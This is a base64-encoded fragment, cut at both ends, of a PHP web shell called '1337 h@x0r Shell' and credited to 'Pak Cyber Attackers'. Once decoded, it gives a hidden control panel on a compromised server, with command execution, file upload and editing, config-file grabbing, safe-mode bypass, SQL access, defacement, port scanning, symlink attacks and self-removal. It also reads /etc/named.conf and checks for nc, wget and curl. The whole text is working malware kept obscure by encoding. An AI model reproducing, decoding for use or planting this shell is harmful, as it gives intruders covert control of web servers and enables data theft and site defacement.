GV4dGFyZWEsIHNlbGVjdCAgICB7IG1hcmdpbjowO2NvbG9yOmFxdWE7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwO2JvcmRlcjoxcHggc29saWQgJy4kY29sb3IuJzsgZm9udDogOXB0IE1vbm9zcGFjZSwiQ291cmllciBOZXciOyB9CiAgICAgICAgaW5wdXRbdHlwZT0iYnV0dG9uIl06aG92ZXIsaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXIge2JhY2tncm91bmQtY29sb3I6Jy4kY29sb3IuJztjb2xvcjojMDAwO30gCiAgICAgICAgZm9ybSAgICAgICAgeyBtYXJnaW46MHB4OyB9CiAgICAgICAgI3Rvb2xzVGJsICAgIHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KICAgICAgICAudG9vbHNJbnAgICAgeyB3aWR0aDogODAlOyB9CiAgICAgICAgLm1haW4gdGggICAge3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7Zm9udC13ZWlnaHQ6IGJvbGQ7fQogICAgICAgIC5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZTt9CiAgICAgICAgLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9CiAgICAgICAgLm1lbnUge2JhY2tncm91bmQ6ICMwMDA7fQogICAgICAgIC5tZW51IHRoe3BhZGRpbmc6NXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQogICAgICAgIC5tZW51IHRoOmhvdmVye2JhY2tncm91bmQ6IzQ0NDt9CiAgICAgICAgLmwxIHtiYWNrZ3JvdW5kLWNvbG9yOiMwMDB9CiAgICAgICAgcHJlIHtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9CiAgICAgICAgI2NvdF90bF9maXhlZHtwb3NpdGlvbjpmaXhlZDtib3R0b206MHB4O2ZvbnQtc2l6ZToxMnB4O2xlZnQ6MHB4O3BhZGRpbmc6NHB4IDA7Y2xpcDpfdG9wOmV4cHJlc3Npb24oZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbFRvcCtkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0LXRoaXMuY2xpZW50SGVpZ2h0KTtfbGVmdDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxMZWZ0ICsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudFdpZHRoIC0gb2Zmc2V0V2lkdGgpO30KICAgICAgICAubG9nbyB7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjYwcHg7fQogICAgICAgIC5sb2dvIHN1cCB7Zm9udC1zaXplOiAxNXB4O3ZlcnRpY2FsLWFsaWduOiB0b3A7bWFyZ2luLWxlZnQ6IC0xNHB4O30KICAgICAgICAuY3ByIHttYXJnaW4tYm90dG9tOjVweDtmb250LXdlaWdodDpib2xkO30KICAgICAgICAuY3BiIHt3aWR0aDozNHB4O21hcmdpbjowIDVweDt9CiAgICAgICAgLmVjYTEge2ZvbnQtc2l6ZTogMTZweDtmb250LXdlaWdodDogYm9sZDtsZXR0ZXItc3BhY2luZzogMTBweDttYXJnaW46IDAgMnB4IDAgMTdweDt0ZXh0LWFsaWduOiBjZW50ZXI7fQogICAgICAgIC5lY2EyIHtmb250LXNpemU6IDEzcHg7Zm9udC13ZWlnaHQ6IGJvbGQ7bGV0dGVyLXNwYWNpbmc6IDNweDttYXJnaW46IDAgMnB4IDAgN3B4O3RleHQtYWxpZ246IGNlbnRlcjt9CiAgICAgICAgLm5wb2FkIHRkIHtwYWRkaW5nOjA7fQogICAgPC9zdHlsZT4KICAgIDxzY3JpcHQ+CiAgICAgICAgZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7CiAgICAgICAgICAgIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLnZhbHVlPWM7CiAgICAgICAgICAgIGlmKHAxICE9IG51bGwpZG9jdW1lbnQubWYucDEudmFsdWU9cDE7CiAgICAgICAgICAgIGlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIudmFsdWU9cDI7CiAgICAgICAgICAgIGlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7CiAgICAgICAgICAgIGlmKGNoYXJzZXQgIT0gbnVsbClkb2N1bWVudC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgZG9jdW1lbnQubWYuc3VibWl0KCk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgdmFyIHBhcmFtcyA9ICJhamF4PXRydWUiOwogICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQubWYuZWxlbWVudHMubGVuZ3RoO2krKykKICAgICAgICAgICAgICAgIHBhcmFtcyArPSAiJiIrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsKICAgICAgICAgICAgc3IoIicuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJyIsIHBhcmFtcyk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7ICAgIAogICAgICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7CiAgICAgICAgICAgICAgICByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwogICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOwogICAgICAgICAgICB9IAogICAgICAgICAgICBlbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewogICAgICAgICAgICAgICAgcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIik7CiAgICAgICAgICAgICAgICBpZiAocmVxKSB7CiAgICAgICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgICAgICAgICAgcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwogICAgICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsKICAgICAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApCiAgICAgICAgICAgICAgICBpZihyZXEuc3RhdHVzID09IDIwMCkgewogICAgICAgICAgICAgICAgICAgIC8vYWxlcnQocmVxLnJlc3BvbnNlVGV4dCk7CiAgICAgICAgICAgICAgICAgICAgdmFyIHJlZyA9IG5ldyBSZWdFeHAoIihcXGQrKShbXFxTXFxzXSopIiwgIm0iKTsKICAgICAgICAgICAgICAgICAgICB2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICAgICAgICAgIGV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBlbHNlIGFsZXJ0KCJSZXF1ZXN0IGVycm9yISIpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTt0b3A6MDtsZWZ0OjA7Ij48ZGl2IHN0eWxlPSJtYXJnaW46MXB4O2JhY2tncm91bmQ6IzAwMDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjFweCBzb2xpZCAjYTNlOTU2OyI+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnKS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMyB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydwMyddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSk6JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICA8L2Zvcm0+JzsKICAgICRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgJHRvdGFsU3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgJHRvdGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwogICAgJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAkcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsKICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICAgICAkZ3JvdXAgPSAiPyI7CiAgICB9IGVsc2UgewogICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAkdXNlciA9ICR1aWRbJ25hbWUnXTsKICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICRnaWQgPSAkZ2lkWydnaWQnXTsKICAgIH0KICAgICRjd2RfbGlua3MgPSAnJzsKICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiAgICAkbj1jb3VudCgkcGF0aCk7CiAgICBmb3IoJGk9MDskaTwkbi0xOyRpKyspIHsKICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CiAgICAgICAgZm9yKCRqPTA7JGo8PSRpOyRqKyspCiAgICAgICAgICAgICRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKICAgICAgICAkY3dkX2xpbmtzIC49ICJcIiknPiIuJHBhdGhbJGldLiIvPC9hPiI7CiAgICB9CiAgICAkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKICAgICRvcHRfY2hhcnNldHMgPSAnJzsKICAgIGZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQogICAgICAgICRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6JycpLic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKICAgICRtID0gYXJyYXkoJ1NlYy4gSW5mbyc9PidTZWNJbmZvJywnRmlsZXMnPT4nRmlsZXNNYW4nLCdFeGVjJz0+J0NvbnNvbGUnLCdTaGFyZWQgSG9zdGluZ3MnPT4nU2hhcmVkJywnR3JhYiBDb25maWdzJz0+J0NvbmZpZ0dyYWJiZXInLCdTYWZlIE1vZGUnPT4nQnlwYXNzJywnU3FsJz0+J1NxbCcsJ1N1YmRvbWFpbic9PidTdWJkb21haW4nLCdEZWZhY2UnID0+ICdEZWZhY2UnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdKdW1waW5nJz0+J0p1bXBpbmcnLCdDb25uZWN0Jz0+J05ldHdvcmsnLCdQb3J0IFNjYW5uZXInPT4nUG9ydFNjYW5uZXInLCdTeW1saW5rJz0+J1N5bWxpbmsnLCdEb21haW4nID0+ICdEb21haW4nKTsKICAgIGlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10pKQogICAgJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7CiAgICAkbVsnS2lsbCddID0gJ1NlbGZSZW1vdmUnOwogICAgJG1lbnUgPSAnJzsKICAgIGZvcmVhY2goJG0gYXMgJGsgPT4gJHYpCiAgICAgICAgJG1lbnUgLj0gJzx0aD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT48L3RoPic7CiAgICAkZHJpdmVzID0gIiI7CiAgICBpZiAoJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbicpIHsKICAgICAgICBmb3JlYWNoKCByYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUgKXsKICAgICAgICAgICAgaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKQogICAgICAgICAgICAgICAgJGRyaXZlcyAuPSAnPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOwogICAgICAgIH0KICAgICAgICAkZHJpdmVzIC49ICc8YnIgLz46ICc7CiAgICB9CiAgICBpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4JykgewogICAgICAgICRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7CiAgICAgICAgaWYoISRkb21pbmlvcykgewogICAgICAgICAgICAkZDBjID0gIkNBTlQgUkVBRCBuYW1lZC5jb25mIjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBAcHJlZ19tYXRjaF9hbGwoJy8uKj96b25lICIoLio/KSIgey8nLCAkZG9taW5pb3MsICRvdXQpOwogICAgICAgICAgICAkb3V0ID0gc2l6ZW9mKGFycmF5X3VuaXF1ZSgkb3V0WzFdKSk7CiAgICAgICAgICAgICRkMGMgPSAkb3V0LiIgIERvbWFpbnMiOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJGQwYyA9ICIgLS0tICI7CiAgICB9CiAgICBpZigkR0xPQkFMU1snb3MnXSA9PSAnbml4JyApCiAgICB7CiAgICAgICAgJHVzZWZsID0gJyc7ICRkd25sZHIgPSAnJzsKICAgICAgICBpZighQGluaV9nZXQoJ3NhZmVfbW9kZScpKSB7CiAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsKICAgICAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiAgICAgICAgICAgIGZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0pIHsgaWYod2hpY2goJGl0ZW0pKSAkdGVtcFtdPSAkaXRlbTsgfQogICAgICAgICAgICAkdXNlZmwgPSBpbXBsb2RlKCcsICcsJHRlbXApOwogICAgICAgICAgICAkdGVtcCA9IGFycmF5KCk7CiAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwogICAgICAgICAgICBmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpIHsgaWYod2hpY2goJGl0ZW0yKSkgJHRlbXBbXT0gJGl0ZW0yOyB9CiAgICAgICAgICAgICRkd25sZHIgPSBpbXBsb2RlKCcsICcsJHRlbXApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR1c2VmbCA9ICcgLS0tLS0tLSAnOyAkZHdubGRyID0gJyAtLS0tLS0tICc7CiAgICAgICAgfQogICAgfSBlbHNlIHsgCiAgICAgICAgJHVzZWZsID0gJyAtLS0tLS0tICc7ICRkd25sZHIgPSAnIC0tLS0tLS0gJzsKICAgIH0gCiAgICBlY2hvICc8dGFibGUgY2xhc3M9ImluZm8iIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiIGJnY29sb3I9ImJsYWNrIj48dHI+PHRkIHdpZHRoPSIxNjBweCI+PGltZyBzcmM9Imh0dHA6Ly9pLmltZ3VyLmNvbS9XZTdmWFhVLmpwZyIgaGVpZ2h0PSIxMDAiIHdpZHRoPSIxMDAiPjxzdXA+JnJlZzs8L3N1cD48L2Rpdj48L3RkPgogICAgICAgICAgPHRkPjx0YWJsZSBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIGNsYXNzPSJucG9hZCI+PHRyPjx0ZCB3aWR0aD0iMTI1cHg7Ij48c3Bhbj5VbmFtZTwvc3Bhbj48L3RkPjx0ZD46IDxub2JyPicuc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nPC9ub2JyPjwvdGQ+PC90cj4KICAgICAgICAgIDx0cj48dGQ+PHNwYW4+VXNlcjwvc3Bhbj48L3RkPjx0ZD46ICcuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6IDwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5TZXJ2ZXI8L3NwYW4+PC90ZD48dGQ+OiAnLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5Vc2VmdWw8L3NwYW4+PC90ZD48dGQ+OiAnLiR1c2VmbC4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+RG93bmxvYWRlcnM8L3NwYW4+PC90ZD48dGQ+OiAnLiRkd25sZHIuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkRpc2FibGVkIGZ1bmN0aW9uczwvc3Bhbj48L3RkPjx0ZD46ICcuKCRkaXNhYmxlX2Z1bmN0aW9ucz8kZGlzYWJsZV9mdW5jdGlvbnM6J0FsbCBGdW5jdGlvbiBFbmFibGUnKS4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+Jy4oJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/J0RyaXZlczxiciAvPkN3ZCc6J0N3ZCcpLic8L3NwYW4+PC90ZD48dGQ+OiAnLiRkcml2ZXMuJycuJGN3ZF9saW5rcy4nICcudmlld1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PC90ZD48L3RyPjwvdGFibGU+PC90ZD4nLgogICAgICAgICAnPHRkIHdpZHRoPTE+PG5vYnI+PHNwYW4+U2VydmVyIElQPC9zcGFuPjxicj48c3Bhbj5DbGllbnQgSVA8L3NwYW4+PGJyIC8+PHNwYW4+SEREPC9zcGFuPjxiciAvPjxzcGFuPkZyZWU8L3NwYW4+PGJyIC8+PHNwYW4+UEhQPC9zcGFuPjxiciAvPjxzcGFuPlNhZmUgTW9kZTwvc3Bhbj48YnIgLz48c3Bhbj5Eb21haW5zPC9zcGFuPjwvbm9icj48L3RkPicuCiAgICAgICAgICc8dGQ+PG5vYnI+OiAnLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4nPGJyPjogJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nPGJyIC8+OiAnLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nPGJyIC8+OiAnLnZpZXdTaXplKCRmcmVlU3BhY2UpLicgKCcuKGludCkoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApLiclKTxicj46ICcuQHBocHZlcnNpb24oKS4nIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxudWxsLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+PGJyIC8+OiAnLigkR0xPQkFMU1snc2FmZV9tb2RlJ10/Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj0nLiRjb2xvci4nPGI+T0ZGPC9iPjwvZm9udD4nKS4nPGJyIC8+OiAnLiRkMGMuJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT4nLgogICAgICAgICAnPC9kaXY+PC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luOjE7YmFja2dyb3VuZCAjMDAwOyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6MXB4IHNvbGlkICNhM2U5NTY7cGFkZGluZzoycHg7Ij48dGFibGUgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSIgY2xhc3M9Im1lbnUiPjx0cj4nLiRtZW51Lic8L3RyPjwvdGFibGU+PC9kaXY+PC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luOjE7YmFja2dyb3VuZDojMDAwOyI+JzsKfQpmdW5jdGlvbiBwcmludEZvb3RlcigpIHsKICAgICRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/Ijxmb250IGNvbG9yPWFxdWE+WyBXcml0ZWFibGUgXTwvZm9udD4iOiI8Zm9udCBjb2xvcj1yZWQ+WyBOb3Qgd3JpdGFibGUgXTwvZm9udD4iOwplY2hvICc8L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46MXB4O2JhY2tncm91bmQ6IzAwMDsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXItdG9wOjFweCBzb2xpZCAjYTNlOTU2OyI+Cjx0YWJsZSBjbGFzcz0iaW5mbyIgaWQ9InRvb2xzVGJsIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4KICAgIDx0cj4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCx0aGlzLmYudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzTWFuXCcsbnVsbCxcJ21rZGlyXCcsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLHRoaXMuZi52YWx1ZSxcJ21rZmlsZVwnKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnQ29uc29sZVwnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KICAgICAgICA8dGQ+PGZvcm0gbWV0aG9kPSJwb3N0IiBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSJGaWxlc01BbiI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9InVwbG9hZEZpbGUiPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICAgICAgPHNwYW4+VXBsb2FkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KICAgIDwvdHI+CjwvdGFibGU+PC9kaXY+PC9kaXY+CjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDojMDAwOyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6MXB4IHNvbGlkICNhM2U5NTY7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsiPjxmb250IGNvbG9yPSJhcXVhIj4xMzM3IGhAeDByIFNoZWxsICcuVkVSU0lPTi4nPGJyPldFIEFSRTo8bWFycXVlZSB3aWR0aD0iNTAlIj5QYWsgQ3liZXIgQXR0YWNrZXJzPC9tYXJxdWVlPjwvZm9udD48L2Rpdj48L2Rpdj4KPC9kaXY+CjwvYm9keT48L2h0bWw+JzsKfQppZiAoICFmdW5jdGlvbl9leGl